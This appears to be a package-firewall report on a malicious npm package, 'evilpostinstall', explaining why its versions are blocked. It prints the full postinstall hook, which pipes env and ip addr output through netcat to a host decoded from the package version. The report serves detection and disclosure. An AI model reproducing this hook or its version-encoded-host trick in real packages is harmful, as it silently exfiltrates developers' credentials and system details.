registry / Credential exfiltration / evilpostinstall
evilpostinstall
Assess the system running postinstall
This report shows the evidence for evilpostinstall@0.6.0. 15 of 15 known versions are blocked or flagged. The newest version, 0.9.3, is blocked. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe package's sole substantive behavior is an automatic lifecycle hook that harvests environment and network data and sends it over the network. This is concrete credential and system-information exfiltration behavior.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm installation, which runs postinstall automatically.
Impact
Secrets exposed through environment variables and local network details may be disclosed to an attacker-controlled endpoint.
Mechanism
Install-time environment and host-information exfiltration through netcat.
Attack narrative
On installation, npm executes the postinstall command. The command runs env and ip addr, combines their output, and pipes it into nc. Its destination is constructed from npm_package_version, obscuring the intended host while allowing a publisher-selected version format to encode it. This is unconsented install-time collection and transmission of potentially sensitive environment data.
AI rationale
The package's sole substantive behavior is an automatic lifecycle hook that harvests environment and network data and sends it over the network. This is concrete credential and system-information exfiltration behavior.
Evidence
package.json
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The automatic postinstall hook collects all environment variables and network-interface details, then sends them through netcat to a version-derived host.
- The collection runs without a user command during npm installation.
Evidence against
- No source code outside the lifecycle hook adds a benign product function; src/plugin.ts is empty.
- The bundled archives are not referenced by the current manifest's dependencies or lifecycle command.
Behavioral surface
Trivial
Source & flagged code
6 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = (env; ip addr) | nc "$(echo "$npm[redacted]" | cut -d. -f1-2).$(echo "$npm[redacted]" | cut -d. -f3- | cut -b 2-4).$(echo "$npm[redacted]" | cut -d. -f3- | cut -b...
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.postinstall = (env; ip addr) | nc "$(echo "$npm[redacted]" | cut -d. -f1-2).$(echo "$npm[redacted]" | cut -d. -f3- | cut -b 2-4).$(echo "$npm[redacted]" | cut -d. -f3- | cut -b...
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1
High
Semantic Analysis Limited
A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.
package.jsonView on unpkg8"postinstall": "(env; ip addr) | nc \"$(echo \"$npm[redacted]\" | cut -d. -f1-2).$(echo \"$npm[redacted]\" | cut -d. -f3- | cut -b 2-4).$(echo \"$npm[redacted]\" | cut -d. -f3- | cut -b 5-7)\" 888"
High
Suspicious Lifecycle Evidence
The automatic postinstall hook collects all environment variables and network-interface details, then sends them through netcat to a version-derived host.
package.jsonView on unpkg · L8evilpostinstall-192.168.1.100.tgzView file
•path = evilpostinstall-192.168.1.100.tgz
kind = compressed_blob
sizeBytes = 1017
magicHex = [redacted]
Medium
Ships Compressed Blob
Package ships compressed or archive-like blobs.
evilpostinstall-192.168.1.100.tgzView on unpkg•path = evilpostinstall-192.168.1.100.tgz
kind = nested_archive_needs_inspection
sizeBytes = 1017
magicHex = [redacted]
Low
Nested Archive Needs Inspection
Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.
evilpostinstall-192.168.1.100.tgzView on unpkgFindings
1 Critical3 High1 Medium2 Low
CriticalRed Install Lifecycle Scriptpackage.json
HighInstall Time Lifecycle Scriptspackage.json
HighSemantic Analysis Limitedpackage.json
HighSuspicious Lifecycle Evidencepackage.json
MediumShips Compressed Blobevilpostinstall-192.168.1.100.tgz
LowScripts Present
LowNested Archive Needs Inspectionevilpostinstall-192.168.1.100.tgz
Affected versions and remediation
This report applies to evilpostinstall@0.6.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing evilpostinstall@0.6.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.
Versions
15 known versions0.9.3latestMaliciousMalwareBlockPublishedSep 2, 2026, 10:40 AM0.9.2MaliciousMalwareBlockPublishedSep 2, 2026, 10:37 AM0.9.1MaliciousMalwareBlockPublishedSep 2, 2026, 10:23 AM0.9.0MaliciousMalwareBlockPublishedSep 2, 2026, 10:19 AM0.7.1MaliciousMalwareBlockPublishedSep 2, 2026, 9:53 AM0.8.0MaliciousMalwareBlockPublishedSep 2, 2026, 9:51 AM0.7.0MaliciousMalwareBlockPublishedSep 2, 2026, 9:49 AM0.6.0shownMaliciousCredential ExfiltrationBlockPublishedAug 31, 2026, 6:02 PM0.5.0MaliciousCredential ExfiltrationBlockPublishedAug 31, 2026, 6:02 PM0.4.0MaliciousCredential ExfiltrationBlockPublishedAug 31, 2026, 6:00 PM0.3.0MaliciousMalwareBlockPublishedAug 31, 2026, 5:59 PM0.2.0MaliciousCredential ExfiltrationBlockPublishedAug 31, 2026, 5:49 PM49.13.4074225MaliciousCredential ExfiltrationBlockPublishedAug 31, 2026, 4:20 PM4127000.0.1MaliciousInstall Hook AbuseBlockPublishedAug 31, 2026, 3:37 PM4192168.1.100MaliciousCredential ExfiltrationBlockPublishedAug 31, 2026, 3:32 PM